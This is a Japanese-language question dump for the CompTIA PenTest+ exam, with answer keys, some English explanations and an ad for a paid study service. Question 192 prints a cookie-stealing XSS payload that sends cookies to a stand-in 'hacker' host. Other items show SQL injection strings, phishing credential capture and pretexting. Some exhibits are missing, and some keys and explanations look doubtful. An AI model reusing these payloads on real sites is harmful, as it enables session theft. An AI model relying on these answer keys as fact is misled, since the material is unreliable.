PT0-002日本語試験正確な問題集、学習ノートと理論 [2024年07月]
100%高得点合格保証PT0-002日本語無制限400解答
質問 # 177
ion tester は、ターゲット企業からより多くの人々に実行可能ファイルをダウンロードして実行してもらうことを試みています。テスターがこの目的を達成するための有効な方法は次のうちどれですか?
- A. ファイルが保存された USB フラッシュ ドライブを社内にドロップする
- B. 後でダウンロード手順を送信する前に、IT 部門から口実メールを送信する
- C. ファイルを実行しないとアカウントからロックアウトされるとユーザーに警告するフィッシング SMS にファイルを添付します。
- D. クリックしやすい名前を付けて共通フォルダにファイルを保存する
正解：B
解説：
The most effective way for the tester to achieve this objective is to send a pretext email from the IT department before sending the download instructions later. A pretext email is an email that uses deception or impersonation to trick users into believing that it is from a legitimate source or authority, such as the IT department. A pretext email can be used to establish trust or rapport with the users, and then persuade them to perform an action or provide information that benefits the attacker. In this case, the tester can send a pretext email from the IT department that informs users about an important update or maintenance task that requires them to download and run an executable file later. The tester can then send another email with the download instructions and attach or link to the malicious executable file. The users may be more likely to follow these instructions if they have received a prior email from the IT department that prepared them for this action. The other options are not as effective ways for the tester to achieve this objective. Dropping USB flash drives around the company campus with the file on it may not reach many users, as they may not find or pick up the USB flash drives, or they may be suspicious of their origin or content.
質問 # 178
ペネトレーションテスターは、攻撃の一環として ARP ポイズニングを実行したいと考えています。次のツールのうち、テスターが使用する可能性が最も高いのはどれですか?
- A. ネットキャット
- B. Nmap
- C. エッターキャップ
- D. Wireshark
正解：C
解説：
ARP poisoning is a technique that exploits the weakness of the ARP protocol to redirect network traffic to a malicious host. Ettercap is a tool that can perform ARP poisoning and other network attacks, such as DNS spoofing, SSL stripping, and password sniffing. Wireshark, Netcat, and Nmap are not designed for ARP poisoning, although they can be used for other purposes, such as packet analysis, network communication, and port scanning. Reference: The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook, Chapter 5, Section 5.2.1: ARP Poisoning; Best PenTest+ certification study resources and training materials, Section 2: ARP Poisoning.
質問 # 179
評価中、ペネトレーション テスターは、Aircrack-ng を実行しているラップトップを使用して、建物の外から組織のワイヤレス ネットワークにアクセスすることができました。この問題を修正するためにクライアントに推奨する必要があるのは、次のうちどれですか?
- A. 指向性アンテナの使用
- B. Wi-Fiを無効にする
- C. WEP 暗号化を使用
- D. 強力な暗号化に対応したWi-Fi機器への変更
正解：D
質問 # 180
侵入テスターが企業のラボ ネットワークをスキャンして、潜在的に脆弱なサービスを探しています。次の Nmap コマンドのうち、潜在的な攻撃者にとって興味深い可能性のある脆弱なポートを返すのはどれですか?
- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-Ss22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-PA22-25,80
正解：C
解説：
Explanation
PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.
質問 # 181
侵入テスターは、会社の既存のサービスの新しい API をテストしており、次のスクリプトを準備しています。
テストで発見されるのは次のうちどれですか?
- A. ホストで Web ポートを開く
- B. ドメイン内のリッスン Web サーバー
- C. デフォルトの Web 構成
- D. サポートされている HTTP メソッド
正解：D
質問 # 182
評価中に、ペネトレーション テスターがログを検査し、単一の IP アドレスから同じ URL に送信される一連の数千のリクエストを発見しました。ご要望の一部を以下に挙げます。
攻撃者が悪用しようとしたのは次の脆弱性のうちどれですか?
- A. ..セッションハイジャック
- B. ..安全でない直接オブジェクト参照
- C. ..SQL インジェクション
- D. ..URL操作
正解：C
解説：
Explanation
The vulnerability that the attacker was trying to exploit is SQL injection, which is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. SQL injection can allow an attacker to perform various actions on the database, such as reading, modifying, deleting, or creating data, or executing commands on the underlying OS. The log shows that the attacker was sending thousands of requests to the same URL with different parameters, such as id=1' OR
1=1;-, id=1' AND 1=2;-, or id=1' UNION SELECT * FROM users;-. These parameters are examples of SQL injection payloads, which are crafted SQL statements that are designed to manipulate or bypass the intended SQL query. For example, id=1' OR 1=1;-- is a payload that terminates the original query with a single quote and a semicolon, appends an OR condition that is always true (1=1), and comments out the rest of the query with two dashes (-). This payload can cause the web application to return all records from the database table instead of just one record with id=1. The other options are not vulnerabilities that match the log entries.
Session hijacking is a type of attack that exploits a vulnerability in a web application that allows an attacker to take over an active session of another user by stealing or guessing their session identifier or cookie. URL manipulation is a type of attack that exploits a vulnerability in a web application that allows an attacker to modify parameters or values in the URL to access unauthorized resources or functions. Insecure direct object reference is a type of attack that exploits a vulnerability in a web application that allows an attacker to access objects or resources directly by modifying their identifiers or references in the URL or request.
質問 # 183
侵入テスターはターゲットに対して Nmap スキャンを実行し、次の結果を受け取ります。
テスターがターゲットの TCP ポート 1080 を使用してスキャン ツールをリダイレクトするには、次のうちどれを使用する必要がありますか?
- A. プロキシチェーン
- B. ネッスス
- C. OWASPZAP
- D. 帝国
正解：A
質問 # 184
ある企業が侵入テスターを雇って、従業員に対してソーシャル エンジニアリング テストを実施しました。テスト担当者は、会社の Web サイトで従業員の電話番号を見つけられませんでしたが、完全な電話カタログが数か月前に公開されたことを知りました。
侵入テスターが従業員の番号を最初に確認する場所は次のうちどれですか?
- A. GitHub
- B. ファイルのメタデータ
- C. アンダーグラウンド フォーラム
- D. ウェブアーカイブ
正解：D
質問 # 185
PCI DSS では、侵入テスト プロセスの一環として、次のうちどれが必要ですか?
- A. ネットワークをセグメント化する必要があります。
- B. ペネトレーションテスターは、サイバーセキュリティ認定を受けている必要があります。
- C. 評価は勤務時間外に実施する必要があります。
- D. 外向きのシステムのみをテストする必要があります。
正解：A
質問 # 186
ペネトレーション テスターはパス上の攻撃位置を確立し、ターゲット ホストに送り返す DNS クエリ応答を特別に作成する必要があります。次のユーティリティのうち、この目的を最もサポートするのはどれですか?
- A. tcpdump
- B. スキャピー
- C. ソキャット
- D. 掘る
正解：B
解説：
https://thepacketgeek.com/scapy/building-network-tools/part-09/
質問 # 187
脆弱性評価を実施しているペネトレーション テスターが、ネットワーク セグメントで ICMP が無効になっていることを発見しました。次のうち、ネットワーク セグメントに対するサービス拒否攻撃に使用できるものはどれですか?
- A. ピンフラッド
- B. フラグル
- C. 死のピン
- D. スマーフ
正解：B
解説：
Explanation
Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: https://www.okta.com/identity-101/fraggle-attack/
質問 # 188
侵入テスト中、テスターは Bluetooth フレームをブロードキャストしているネットワーク管理者に属する企業モバイル デバイスに近接します。
ペネトレーション テスターが実行できる Bluesnarfing 攻撃の例は次のうちどれですか?
- A. 関連する WiFi デバイスの WPS PIN を嗅いで解読します。
- B. テキストメッセージをデバイスに送信します。
- C. デバイス上のユーザー アドレス帳をダンプします。
- D. 2 つの Bluetooth デバイス間の接続を切断します。
正解：C
解説：
Explanation
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.
質問 # 189
ペネトレーション テスターは、脆弱性を探すために石油リグ ネットワークを攻撃するように契約されています。評価を実施している間、リグのサポート組織は、企業アプリケーションとデータ取得のためのアップストリーム サービスへの接続に関する問題を報告しました。次のうち、最も可能性の高い原因はどれですか?
- A. パッチのインストール
- B. 帯域制限
- C. エクスプロイトの成功
- D. アプリケーションの失敗
正解：C
質問 # 190
侵入テストを行うために、セキュリティ エンジニアは IT ヘルプ デスクになりすます。セキュリティ エンジニアは、ユーザーへのパスワード変更の緊急リクエストと https://example.com/index.html へのリンクを含むフィッシングメールを送信します。エンジニアは、ユーザーが資格情報を入力すると、index.html ページが資格情報を取得し、セキュリティ エンジニアが制御している別のサーバーに転送するように攻撃を設計しました。次の情報が与えられたとします。攻撃を成功させるために、セキュリティ エンジニアは次のコード行のうちどの行を追加する必要がありますか?
- A. window.location.= 'https://evilcorp.com'
- B. geturlparameter ('username')
- C. crossDomain: true
- D. redirectUrl = 'https://example.com'
正解：C
質問 # 191
侵入テスト中に発生した一時的な停止の責任を判断するのに最も役立つ文書は次のどれですか?
- A. 概要
- B. 機密保持契約
- C. 評価の範囲と方法論
- D. 業務提携契約
正解：C
解説：
The assessment scope and methodologies document defines the objectives, boundaries, rules of engagement, and expected outcomes of a penetration testing engagement. It also specifies the roles and responsibilities of the testers and the clients, as well as the communication channels and escalation procedures. This document can help determine who is at fault for a temporary outage that occurred during a penetration test, as it can clarify whether the outage was within the agreed scope and methodologies, or whether it was caused by a violation of the rules of engagement or a lack of coordination. Reference:
* CompTIA PenTest+ Certification Exam Objectives, Domain 1.0 Planning and Scoping, Objective 1.1: Given a scenario, explain the importance of scoping an engagement properly.
* The Official CompTIA PenTest+ Instructor and Student Guides (PT0-002), Lesson 1: Planning and Scoping Penetration Tests, Topic 1.1: Introduction to Penetration Testing Concepts, Topic 1.2: The Penetration Testing Process, Topic 1.3: Planning and Scoping Penetration Tests.
質問 # 192
次のコードがあるとします。
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
この種の攻撃を防ぐための最良の方法は次のうちどれですか? （2つ選んでください。）
- A. セッション トークン
- B. Base64 エンコーディング
- C. パラメータ化されたクエリ
- D. 入力の検証
- E. 出力エンコーディング
- F. Web アプリケーション ファイアウォール
正解：D、E
解説：
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.
質問 # 193
次のツールのうち、ネットワーク プロトコルと対話するための Python クラスを提供するのはどれですか?
- A. インパケット
- B. レスポンダ
- C. PowerSploit
- D. 帝国
正解：A
解説：
Explanation
Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.
質問 # 194
侵入テストの最終レポートに含める最も重要な項目は次のうちどれですか?
（2つ選んでください。）
- A. 脆弱なデバイスのネットワーク上の場所
- B. 問題を見つけるために使用したツール
- C. 欠陥を発見した人の名前
- D. 調査結果の CVSS スコア
- E. 脆弱性識別子
- F. クライアント承認フォーム
正解：B、E
質問 # 195
......
PT0-002日本語問題集PDF、PT0-002日本語最速合格したいなら：https://www.passtest.jp/CompTIA/PT0-002J-shiken.html